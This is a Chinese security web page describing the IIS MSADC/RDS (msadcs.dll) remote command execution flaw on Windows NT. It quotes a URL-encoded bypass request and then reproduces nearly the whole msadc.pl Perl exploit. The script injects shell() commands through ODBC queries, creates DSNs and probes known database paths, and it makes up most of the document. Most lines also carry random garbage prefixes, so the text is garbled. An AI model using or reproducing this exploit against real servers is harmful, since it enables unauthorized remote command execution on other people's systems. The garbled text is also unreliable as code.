IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
a#nVRPU8m {]n5h#c 5* 涉及程序:
@K7#}7,t Microsoft NT server
U:M?Ji5CY pkWzaf 描述:
Bq#?g@V 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
:CNHN2 J a<B[~J 4i 详细:
X@*$3z#Z 如果你没有时间读详细内容的话,就删除:
5P,{h c:\Program Files\Common Files\System\Msadc\msadcs.dll
Z}5;K"T/ 有关的安全问题就没有了。
.:B]
a7b ?J<Y] 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
\`Db|D?oy 8&7LF 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
35%'HFt_ 关于利用ODBC远程漏洞的描述,请参看:
N X4!G>v OQ;DqV http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm DK}k||- q.`+d[Q2 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
z)='MKrEt- http://www.microsoft.com/security/bulletins/MS99-025faq.asp G,FYj'<!7, #DXC6f 这里不再论述。
BQ2EDy=}6 <]r.wn=}M 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
co r?# x JQde 4 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
}eX zs_ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
7?:7}xb- iov55jT~l@ 6kK\nZ$o$ #将下面这段保存为txt文件,然后: "perl -x 文件名"
E5w.wx 0(iTnzx0 #!perl
6.kX~$K #
9[N+x2q # MSADC/RDS 'usage' (aka exploit) script
{'4h.PB+r #
J@54B # by rain.forest.puppy
,3Y~ #{,i #
gk >-h,>" # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
1a;Le8 # beta test and find errors!
7^4F,JuJO JV=d!Gi[C use Socket; use Getopt::Std;
^a4 y+! getopts("e:vd:h:XR", \%args);
b*LEoQSl0V >:%i,K*AM print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
M;V
(Tf sPYG?P(l if (!defined $args{h} && !defined $args{R}) {
R?a)2jl print qq~
7afD^H% Usage: msadc.pl -h <host> { -d <delay> -X -v }
D^W6Cq5\ -h <host> = host you want to scan (ip or domain)
/-TJtR4> -d <seconds> = delay between calls, default 1 second
h?jy'>T?b2 -X = dump Index Server path table, if available
`VCU`Y -v = verbose
DBYD>UA -e = external dictionary file for step 5
x_CB'Rr6 !2s<
v Or a -R will resume a command session
Nc:, [8{l 6?b9~xRW ~; exit;}
X[\b!<C jbcJ\2 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
8`XT`H if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
55)!cw4 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
B<i)je! if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
8 !]$ljg $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
\Q7Nz2X if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
{y0#(8-& p:U9#(v) if (!defined $args{R}){ $ret = &has_msadc;
=PWh,lWS die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
B.vg2N :j)H;@[I print "Please type the NT commandline you want to run (cmd /c assumed):\n"
F/sXr(7 . "cmd /c ";
jFf2( AR $in=<STDIN>; chomp $in;
( >zXapb2 $command="cmd /c " . $in ;
qMD 6LWJ *T'
/5,rX2 if (defined $args{R}) {&load; exit;}
z1XFc*5 kFZw"5hb print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
PXof-W &try_btcustmr;
12n5{'H2% J;,6ydf8! print "\nStep 2: Trying to make our own DSN...";
jU
|0!] &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Y4e64`V) h?5$-#q~ print "\nStep 3: Trying known DSNs...";
KoZ" yD &known_dsn;
h<U<KO S'#KPzy. print "\nStep 4: Trying known .mdbs...";
fz#e4+oH &known_mdb;
R
h zf.kp Y0fX\6=h if (defined $args{e}){
xZZW*d_b print "\nStep 5: Trying dictionary of DSN names...";
[ &RZ& &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
ES p)% ~n9BN'@x print "Sorry Charley...maybe next time?\n";
L!s/0kBg exit;
<ek_n;R +a_eNl, ##############################################################################
b3N>RPsHS /{Ksi+q sub sendraw { # ripped and modded from whisker
.q$HL t sleep($delay); # it's a DoS on the server! At least on mine...
G{
~pA4 my ($pstr)=@_;
01<~~6A socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
12BTZ die("Socket problems\n");
h^h,4H\r if(connect(S,pack "SnA4x8",2,80,$target)){
A@-nn] select(S); $|=1;
~?4'{Hc' print $pstr; my @in=<S>;
l&2A]5C select(STDOUT); close(S);
5RCQ<1 return @in;
d%VG@./xq } else { die("Can't connect...\n"); }}
T8+A`z=tSb H'|b$rP0@ ##############################################################################
%SuEfCM :fz&)e9 sub make_header { # make the HTTP request
Tn2nd my $msadc=<<EOT
>fRI^Q, POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Q/&H3N User-Agent: ACTIVEDATA
~`)`Ip Host: $ip
( P|Ph Content-Length: $clen
VcKufV' Connection: Keep-Alive
1CK}XLdr Qfx(+=| ADCClientVersion:01.06
r Z5vey Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
-02cI}e gp'9Pf;\[ --!ADM!ROX!YOUR!WORLD!
I}a`11xb` Content-Type: application/x-varg
Lsa&A+fru Content-Length: $reqlen
+InAK>NZ' gjB36R EOT
}Pd S?[R ; $msadc=~s/\n/\r\n/g;
7 wS)'zR; return $msadc;}
*X- 6]C 0Ou;MU*v ##############################################################################
H1X3 8 K0$8t%Z. sub make_req { # make the RDS request
7.)e4 my ($switch, $p1, $p2)=@_;
!dQG 5v my $req=""; my $t1, $t2, $query, $dsn;
COPH)Bdq. S^0Po%d if ($switch==1){ # this is the btcustmr.mdb query
aC:Sy^Tf $query="Select * from Customers where City=" . make_shell();
_1jd{?kt $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Z]f_?@0 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
))f%3_H %B+W#Q` elsif ($switch==2){ # this is general make table query
6U[`CGL66 $query="create table AZZ (B int, C varchar(10))";
t=M:L[bis; $dsn="$p1";}
R{Q*"sf U5Say3r elsif ($switch==3){ # this is general exploit table query
R&}"En`$s $query="select * from AZZ where C=" . make_shell();
A*#.7Np!" $dsn="$p1";}
1sp>UBG j}R!'m(P' elsif ($switch==4){ # attempt to hork file info from index server
G?$|aQ0j $query="select path from scope()";
?u.&BP $dsn="Provider=MSIDXS;";}
_Kdqa%L
! l",JN.w elsif ($switch==5){ # bad query
*6D0>F $query="select";
C-!!1-Eq?: $dsn="$p1";}
J60XUxf a9S0glbwf $t1= make_unicode($query);
:{@&5KQ8) $t2= make_unicode($dsn);
&|>CW:)&1" $req = "\x02\x00\x03\x00";
.%) FK#s- $req.= "\x08\x00" . pack ("S1", length($t1));
;Q"xXT`;: $req.= "\x00\x00" . $t1 ;
2@K D
'^( $req.= "\x08\x00" . pack ("S1", length($t2));
_h|rH $req.= "\x00\x00" . $t2 ;
`kb]tf $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
d,kh6'g2@ return $req;}
9}p>=' .?{rd3[ec ##############################################################################
-4ityS
@ ^uB9EP*P sub make_shell { # this makes the shell() statement
?m.WqNBH7 return "'|shell(\"$command\")|'";}
IB9[Lx ~\_aT2j0 ##############################################################################
`x%v&> ?/ xk sub make_unicode { # quick little function to convert to unicode
|iN!V3#S my ($in)=@_; my $out;
>i^8K U for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
On
x[}x return $out;}
zAT7^q^ '&/ 35d9|* ##############################################################################
qxS=8#-`( O[ tD7!1 sub rdo_success { # checks for RDO return success (this is kludge)
NA%M)u{| my (@in) = @_; my $base=content_start(@in);
Bk,:a, if($in[$base]=~/multipart\/mixed/){
| R MIV return 1 if( $in[$base+10]=~/^\x09\x00/ );}
o5=1 return 0;}
Q9,H0r-% lS"g[O+ ##############################################################################
69#mj*p@+ n8W+q~sW% sub make_dsn { # this makes a DSN for us
Ln6\Iis my @drives=("c","d","e","f");
w`_cmI print "\nMaking DSN: ";
K_/-mwA v foreach $drive (@drives) {
P$LHsg] print "$drive: ";
o,o,(sII my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
l2&cwjc "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
nx{_^sK . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
_$s ;QI]x $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
pxm{?eBz return 0 if $2 eq "404"; # not found/doesn't exist
-|E|-' if($2 eq "200") {
R^8L^8EL foreach $line (@results) {
5G5P#<Vv return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
zTA+s 2 } return 0;}
&'%b1CbE 'a ]4]d ##############################################################################
dkTewT6' M"cB6{st[ sub verify_exists {
JjBG9Rp{ my ($page)=@_;
tA#7Xr+ my @results=sendraw("GET $page HTTP/1.0\n\n");
5f5bhBZ< return $results[0];}
,/{(8hn +?"N5%a%F ##############################################################################
j1/.3\ u,h ,;'J sub try_btcustmr {
Ns?qLSN my @drives=("c","d","e","f");
Xvy3D@o my @dirs=("winnt","winnt35","winnt351","win","windows");
pkWJb! l!r2[T]I@7 foreach $dir (@dirs) {
5:3%RTLG print "$dir -> "; # fun status so you can see progress
SvR:tyF foreach $drive (@drives) {
3FWl_d~uD print "$drive: "; # ditto
sEBZ-qql $reqlen=length( make_req(1,$drive,$dir) ) - 28;
\#1*r'V8 $reqlenlen=length( "$reqlen" );
]/byz_7] $clen= 206 + $reqlenlen + $reqlen;
>`\f,yql6 ahezDDR-.i my @results=sendraw(make_header() . make_req(1,$drive,$dir));
e,j2#wjor if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
5R^e else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
)ro3yq4?? ~W?F. ##############################################################################
o}EipTL >%qk2h> sub odbc_error {
-P I$SA, my (@in)=@_; my $base;
DeqTr: my $base = content_start(@in);
kR+xInDM* if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
CKC%|xke $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
#jY\l&E $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
:exgdm;N $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
c?@WNv return $in[$base+4].$in[$base+5].$in[$base+6];}
AH*{Bi[vX print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
lr>:S print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Xz/5Wis4 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
wUUDq?!k\ $bf&ct*$h ##############################################################################
)C?bb$
G $e(]L(o; sub verbose {
z"cF\F my ($in)=@_;
&/%A 9R, return if !$verbose;
q.
i2BoOd print STDOUT "\n$in\n";}
~ ^)D#Lo xZmO^F5KHj ##############################################################################
x3./ Cxn<#Kf\-< sub save {
*t_"]v-w my ($p1, $p2, $p3, $p4)=@_;
"EA6RFRD open(OUT, ">rds.save") || print "Problem saving parameters...\n";
;3\oU$' print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
E;$;g#ksf close OUT;}
+sN'Y/- aT9+]
Ig ##############################################################################
qN5 ru2 ^]x%z*6 sub load {
<Mdyz! my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
j@yK#==k open(IN,"<rds.save") || die("Couldn't open rds.save\n");
+>zjTP7\e" @p=<IN>; close(IN);
2Fi~GY_ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
87QK&S\ $target= inet_aton($ip) || die("inet_aton problems");
7'c ;$~ print "Resuming to $ip ...";
_(#HQd,i $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Y|'0bujr if($p[1]==1) {
9\yGv $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
J[Ckz] $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
[w0@7p"7 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
,r=9$i_ if (rdo_success(@results)){print "Success!\n";}
U8f!yXF' else { print "failed\n"; verbose(odbc_error(@results));}}
+XaRwcLC. elsif ($p[1]==3){
ySfot`LQ if(run_query("$p[3]")){
&m=GkK print "Success!\n";} else { print "failed\n"; }}
.f1 elsif ($p[1]==4){
}OQaQf9V{ if(run_query($drvst . "$p[3]")){
U9?fUS print "Success!\n"; } else { print "failed\n"; }}
% oPt],> exit;}
tl:V8sYTP d|P,e;m- ##############################################################################
W^a-K K-_XdJ\ sub create_table {
74[wZDW|( my ($in)=@_;
SJseP_- $reqlen=length( make_req(2,$in,"") ) - 28;
GJu[af $reqlenlen=length( "$reqlen" );
x.5!F2$ $clen= 206 + $reqlenlen + $reqlen;
LB(I^ my @results=sendraw(make_header() . make_req(2,$in,""));
\&{a/e2:S return 1 if rdo_success(@results);
4tQ~Z6Jn; my $temp= odbc_error(@results); verbose($temp);
J$aE:g6' return 1 if $temp=~/Table 'AZZ' already exists/;
>i6sJ)2?> return 0;}
S]}hh,A X.q, ##############################################################################
:,@"I$>*/ {V8yJ{.G sub known_dsn {
G_vcuCHm # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
~CtLSyB my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
1g{-DIOmn "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
:V9%R~h/ "banner", "banners", "ads", "ADCDemo", "ADCTest");
r<%ua6@ vz$_Fgsc. foreach $dSn (@dsns) {
GiZv0>*x print ".";
BR*'SF\T next if (!is_access("DSN=$dSn"));
s%&/Zt if(create_table("DSN=$dSn")){
pmWt7 } print "$dSn successful\n";
8Q{"W"]O7 if(run_query("DSN=$dSn")){
y[D8r Fw print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
7R4t%^F print "Something's borked. Use verbose next time\n";}}} print "\n";}
wV604eO( }&*wJ]j`L ##############################################################################
rexNsKRK_ g3Xa b sub is_access {
)Ja&Y my ($in)=@_;
&'V1p4' $reqlen=length( make_req(5,$in,"") ) - 28;
@TQzF-%#7 $reqlenlen=length( "$reqlen" );
IjPCaH.:t $clen= 206 + $reqlenlen + $reqlen;
eT'Z;ZO my @results=sendraw(make_header() . make_req(5,$in,""));
cXd?48O my $temp= odbc_error(@results);
zao=}j? verbose($temp); return 1 if ($temp=~/Microsoft Access/);
:Rroz]* return 0;}
JK/gq}c 4:I'zR5 ##############################################################################
G<$N*3 hr/H vB sub run_query {
$(r/N"6)O2 my ($in)=@_;
61 @;3yV $reqlen=length( make_req(3,$in,"") ) - 28;
QVR8b3T@ $reqlenlen=length( "$reqlen" );
;:]#Isq $clen= 206 + $reqlenlen + $reqlen;
xU!eT'Y my @results=sendraw(make_header() . make_req(3,$in,""));
n/6qc3\5i return 1 if rdo_success(@results);
JW}O`H9 my $temp= odbc_error(@results); verbose($temp);
QFNw2:) return 0;}
Q
H57[Yg k
d9<&.y{ ##############################################################################
ED;rp9( +B&,$ceyaJ sub known_mdb {
a;h.I}*] my @drives=("c","d","e","f","g");
v,d
bto0 my @dirs=("winnt","winnt35","winnt351","win","windows");
1=Z, #r my $dir, $drive, $mdb;
=L]GQ=d my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
T^DJ/uhd \0fk^
# this is sparse, because I don't know of many
YHOo6syk my @sysmdbs=( "\\catroot\\icatalog.mdb",
,<t)aZL,A; "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
>3?p 23|; "\\system32\\certmdb.mdb",
)Y &RMYy "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
2r"J"C 5Ly Wg2 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
b[rVr
J "\\cfusion\\cfapps\\forums\\forums_.mdb",
KQTv5|$? "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
>pm`(zLn "\\cfusion\\cfapps\\security\\realm_.mdb",
oe*CZ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
^oMdx2Ow# "\\cfusion\\database\\cfexamples.mdb",
@h,3"2W{Ev "\\cfusion\\database\\cfsnippets.mdb",
_J X>#h "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
+`f3_Xd "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Q#5~"C "\\cfusion\\brighttiger\\database\\cleam.mdb",
6FkBb!ASk "\\cfusion\\database\\smpolicy.mdb",
#SX-Y)> 1@ "\\cfusion\\database\cypress.mdb",
O?$]/d "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
?Q~o<%U7 "\\website\\cgi-win\\dbsample.mdb",
IAi|4,y_L "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
/@?lV!QiO "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
[.'9Sw ); #these are just
J3XrlSc foreach $drive (@drives) {
Tn"^`\m foreach $dir (@dirs){
uE,g|51H/ foreach $mdb (@sysmdbs) {
tF:AqR:(~ print ".";
w_P2\B^ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
R.KznJ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
6E{(_i if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
2&zklXuo: print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
(9Of,2]&E } else { print "Something's borked. Use verbose next time\n"; }}}}}
X$*]$Ge> K/0Wp % foreach $drive (@drives) {
L./{^) foreach $mdb (@mdbs) {
$'n?V=4 print ".";
]P>c{ if(create_table($drv . $drive . $dir . $mdb)){
0{(5J,/BF print "\n" . $drive . $dir . $mdb . " successful\n";
oTg
'N if(run_query($drv . $drive . $dir . $mdb)){
dC>(UDC print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
,Bs/.htQj } else { print "Something's borked. Use verbose next time\n"; }}}}
)I"I[jDw }
joBS{] M.67[Qj~"u ##############################################################################
@^.o8+Pp WOQ>]Z sub hork_idx {
t 7D~JAx6 print "\nAttempting to dump Index Server tables...\n";
{ u3giB print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
G_`Ae%'h $reqlen=length( make_req(4,"","") ) - 28;
l:~/%= $reqlenlen=length( "$reqlen" );
\ #N))gAQ $clen= 206 + $reqlenlen + $reqlen;
p,BoiYdi my @results=sendraw2(make_header() . make_req(4,"",""));
s6k(K>Pl if (rdo_success(@results)){
^<3{0g-"AW my $max=@results; my $c; my %d;
bwI"V&* for($c=19; $c<$max; $c++){
^% L;FGaA $results[$c]=~s/\x00//g;
Z^Yy
sf $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
&